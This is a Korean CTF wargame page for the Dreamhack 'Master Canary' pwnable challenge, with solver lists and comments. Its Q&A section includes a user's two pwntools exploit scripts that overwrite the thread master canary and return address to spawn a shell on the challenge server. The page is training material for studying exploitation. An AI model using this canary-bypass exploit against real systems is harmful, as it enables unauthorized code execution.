LEVEL 3

Master Canary

pwnable
  • 문제 정보
  • 풀이 30
  • 난이도 투표 47
  • 질문 7
  • 최근 풀이자 497
  • 댓글 22

문제 설명

Description

Exploit Tech: Master Canary에서 실습하는 문제입니다.

Challenge Updates

2023.05.08: Dockerfile이 제공됩니다.
2023.05.26: Ubuntu 22.04 환경으로 업데이트하였습니다.

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
Aiden
대표 업적 없음
출제된 지 4시간 만에 풀이 완료!

난이도 투표 47

질문 5

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
send 여러 보내는 것과 한번 보내는 것의 차이가 궁금합니다.
아래처럼 p.send 호출할 때 하나의 payload 를 만들어서 호출하면 서버에 제출 시 쉘 획득이 되는데, from pwn import * d = 0x7f0 p = process("./mc_thread") p = remote("host3.dreamhack.games", 21778) p = remote("localhost", 7182) p_elf = ELF("./mc_thread") p.sendlineafter(b"Size: ", str( (0x110 + d + 0x28 + 8) // 8).encode()) p.recvuntil(b"Data: ") payload = b"A" * 0x110 payload += b"A" * 8 payload += p64(p_elf.symbols["giveshell"]) payload += b"A" * (d - 0x10) payload += b"A" * 0x10 payload += p64(0x404800 - 0x972) payload += b"A" * 0x18 p.send(payload) p.sendline(b"ls") recved = p.recv(100) info(f"received: {recved}") if b"smash" in recved: raise RuntimeError("Smash detected") success(f"0x{d:x}: Success") p.interactive() 제공된 소스코드에 read가 여러번 나눠서 받아 아래처럼 send를 똑같은 수만큼 나눠서 전송하면 p.recv(100) 에서 EOFError 가 나는데 이유가 무엇인지 궁금합니다. from pwn import * d = 0x7f0 p = process("./mc_thread") p = remote("host3.dreamhack.games", 21778) p = remote("localhost", 7182) p_elf = ELF("./mc_thread") p.sendlineafter(b"Size: ", str( (0x110 + d + 0x28 + 8) // 8).encode()) p.recvuntil(b"Data: ") for i in range(0x100 // 8): p.send(b"A" * 8) p.send(b"A" * 8) # rbp - 0x10 p.send(b"A" * 8) # rbp - 0x8(cnry) p.send(b"A" * 8) # rbp(sfp) p.send(p64(p_elf.symbols["giveshell"])) for i in range((d - 0x10) // 8): p.send(b"A"*8) p.send(b"A" * 8) p.send(b"A" * 8) p.send(p64(0x404800 - 0x972)) # pthread->self p.send(b"A" * 8) p.send(b"A" * 8) p.send(b"A" * 8) # master canary overwrite p.sendline(b"ls") recved = p.recv(100) info(f"received: {recved}") if b"smash" in recved: raise RuntimeError("Smash detected") success(f"0x{d:x}: Success") p.interactive() 근데 또 이상한건 서버에 제출하면 안되는데, 제공된 Dockerfile로 Docker 환경 구축해서 제출(p = remote("localhost", 7182)) 혹은 로컬 환경(p = process("./mc_thread"))에서 실행하면 정상적으로 동작합니다...
뭐야

최근 풀이자 497

나이테
대표 업적 없음
Ddyoru
대표 업적 없음
01sch
대표 업적 없음
sealhorse
대표 업적 없음
NGA
공부벌레
서경대김재중
대표 업적 없음
avatar
GiuNash
시니어
avatar
andsopwn
대표 업적 없음
pdw0412
대표 업적 없음
n1x1
대표 업적 없음

댓글 22

고기
대표 업적 없음
이게 2단계?
avatar
사용자
해결사
좋은 연습문제입니다. 중간에 함정이 하나 있네요
avatar
KnightChaser
공부벌레
이게 도대체 어딜 봐서 Level. 2 짜리 문제인거죠?
avatar
MerryBerry
대표 업적 없음
몇 시간을 날린거야...
avatar
is07king
워게임: 1
좀 이상한데..
avatar
Rosieblue
워게임 고인물
업데이트 이후 버전이랑 전 버전이랑 난이도 차이나는듯. 그리고 오프셋 주의!
avatar
Newb1e
워게임 풀이: 1
Select your padding contents "CAREFULLY", or SEGV.
avatar
연님
답변 등록: 1
:()
avatar
J-jaeyoung
워게임 풀이: 20
¯\_(ツ)_/¯
ez